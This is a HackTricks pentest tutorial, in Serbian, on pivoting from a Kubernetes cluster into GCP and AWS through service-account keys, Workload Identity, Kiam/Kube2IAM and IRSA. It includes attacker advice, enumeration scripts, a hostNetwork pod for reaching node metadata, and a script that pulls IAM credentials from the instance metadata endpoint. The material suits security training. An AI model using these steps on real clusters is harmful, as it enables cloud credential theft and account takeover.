# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

Ako pokrećete k8s klaster unutar GCP-a, verovatno želite da neka aplikacija koja se pokreće unutar klastera ima pristup GCP-u. Postoje 2 uobičajena načina da to uradite:

### Montiranje GCP-SA ključeva kao tajne

Uobičajen način da se **omogući pristup kubernetes aplikaciji GCP-u** je da:

- Kreirate GCP servisni nalog
- Povežete željene dozvole
- Preuzmete json ključ kreiranog SA
- Montirate ga kao tajnu unutar poda
- Postavite GOOGLE_APPLICATION_CREDENTIALS promenljivu okruženja koja pokazuje na putanju gde se json nalazi.

> [!WARNING]
> Stoga, kao **napadač**, ako kompromitujete kontejner unutar poda, trebali biste proveriti tu **env** **promenljivu** i **json** **fajlove** sa GCP kredencijalima.

### Povezivanje GSA json sa KSA tajnom

Način da se omogući pristup GSA GKE klasteru je povezivanje na sledeći način:

- Kreirajte Kubernetes servisni nalog u istom namespace-u kao vaš GKE klaster koristeći sledeću komandu:
```bash
Copy codekubectl create serviceaccount <service-account-name>
```
- Kreirajte Kubernetes Secret koji sadrži akreditive GCP servisnog naloga kojem želite dodeliti pristup GKE klasteru. To možete uraditi koristeći `gcloud` komandnu liniju, kao što je prikazano u sledećem primeru:
```bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Povežite Kubernetes Secret sa Kubernetes servisnim nalogom koristeći sledeću komandu:
```bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> U **drugom koraku** su postavljene **akreditivi GSA kao tajna KSA**. Tada, ako možete **pročitati tu tajnu** iz **unutar** **GKE** klastera, možete **escalirati na taj GCP servisni nalog**.

### GKE Workload Identity

Sa Workload Identity, možemo konfigurisati a[ Kubernetes servisni nalog](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da deluje kao a[ Google servisni nalog](https://cloud.google.com/iam/docs/understanding-service-accounts). Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupanja Google Cloud API-ima.

**Prva serija koraka** za omogućavanje ovog ponašanja je da **omogućite Workload Identity u GCP** ([**koraci**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreirate GCP SA koji želite da k8s imitira.

- **Omogućite Workload Identity** na novom klasteru
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Kreirajte/ ažurirajte novi nodepool** (Autopilot klasteri to ne zahtevaju)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Kreirajte **GCP servisni nalog za impersonaciju** iz K8s sa GCP dozvolama:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Povežite** se na **klaster** i **napravite** **nalog usluge** koji ćete koristiti
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Povežite GSA sa KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Pokrenite **pod** sa **KSA** i proverite **pristup** do **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Proverite sledeću komandu za autentifikaciju u slučaju potrebe:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Kao napadač unutar K8s, trebali biste **tražiti SAs** sa **`iam.gke.io/gcp-service-account` anotacijom**, jer to ukazuje da SA može pristupiti nečemu u GCP-u. Druga opcija bi bila da pokušate da zloupotrebite svaki KSA u klasteru i proverite da li ima pristup.\
> Iz GCP-a je uvek zanimljivo enumerisati vezivanja i znati **koji pristup dajete SAs unutar Kubernetes-a**.

Ovo je skripta za lako **iteriranje kroz sve definicije podova** **tražeći** tu **anotaciju**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS

### Kiam & Kube2IAM (IAM uloga za Podove) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Zastarjeli način davanja IAM uloga Podovima je korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U suštini, potrebno je pokrenuti **daemonset** u vašem klasteru sa **nekom privilegovanom IAM ulogom**. Ovaj daemonset će biti onaj koji će omogućiti pristup IAM ulogama podovima kojima je to potrebno.

Prvo što treba da uradite je da konfigurišete **koje uloge mogu biti pristupne unutar imenskog prostora**, a to radite sa anotacijom unutar objekta imenskog prostora:
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Kada je prostor imena konfigurisan sa IAM rolama koje Podovi mogu imati, možete **naznačiti ulogu koju želite u svakoj definiciji poda sa nečim poput**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Kao napadač, ako **pronađete ove anotacije** u podovima ili prostorima imena ili ako se kiam/kube2iam server pokreće (verovatno u kube-system) možete **imitiirati svaku r**olu koja se već **koristi od strane podova** i više (ako imate pristup AWS nalogu, enumerišite uloge).

#### Kreirajte Pod sa IAM Ulogom

> [!NOTE]
> IAM uloga koju treba naznačiti mora biti u istom AWS nalogu kao kiam/kube2iam uloga i ta uloga mora imati pristup.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Ovo je **preporučeni način od strane AWS**.

1. Prvo treba da [napravite OIDC provajder za klaster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Zatim kreirajte IAM ulogu sa dozvolama koje će SA zahtevati.
3. Napravite [odnos poverenja između IAM uloge i SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) imenom (ili imenom prostora imena koji daje pristup ulozi svim SA-ima u prostoru imena). _Odnos poverenja će uglavnom proveravati ime OIDC provajdera, ime prostora imena i ime SA_.
4. Na kraju, **napravite SA sa anotacijom koja označava ARN uloge**, a podovi koji se pokreću sa tom SA će imati **pristup tokenu uloge**. **Token** je **napisan** unutar datoteke i putanja je specificirana u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (podrazumevano: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Da **dobijete aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` pokrenite:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Kao napadač, ako možete da enumerišete K8s klaster, proverite za **service accounts sa tom anotacijom** da **escalate to AWS**. Da biste to uradili, jednostavno **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukradite token.
>
> Pored toga, ako ste unutar poda, proverite za env varijable kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> Ponekad **Trust Policy of a role** može biti **loše konfigurisana** i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga **svim service accounts**. Stoga, ako ste u mogućnosti da napišete anotaciju na kontrolisanom service account-u, možete pristupiti roli.
>
> Proverite **sledeću stranicu za više informacija**:

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### Pronađite Podove i SAs sa IAM Rolama u Klasteru

Ovo je skripta za lako **iteriranje kroz sve podove i sas** definicije **tražeći** tu **anotaciju**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM Role

Prethodna sekcija je bila o tome kako ukrasti IAM uloge pomoću podova, ali imajte na umu da će **čvor K8s** klastera biti **instanca unutar oblaka**. To znači da je veoma verovatno da će čvor **imati novu IAM ulogu koju možete ukrasti** (_imajte na umu da obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno pokušavati proveravati svaki čvor_).

Međutim, postoji važan zahtev za pristup metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Ukrao IAM Role Token

Prethodno smo razgovarali o tome kako da **priključite IAM Role na Pods** ili čak kako da **pobegnete na Node da ukradete IAM Role** koji je instanci priključen.

Možete koristiti sledeći skript da **ukradete** svoje nove teško zarađene **IAM role kredencijale**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
## Reference

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}
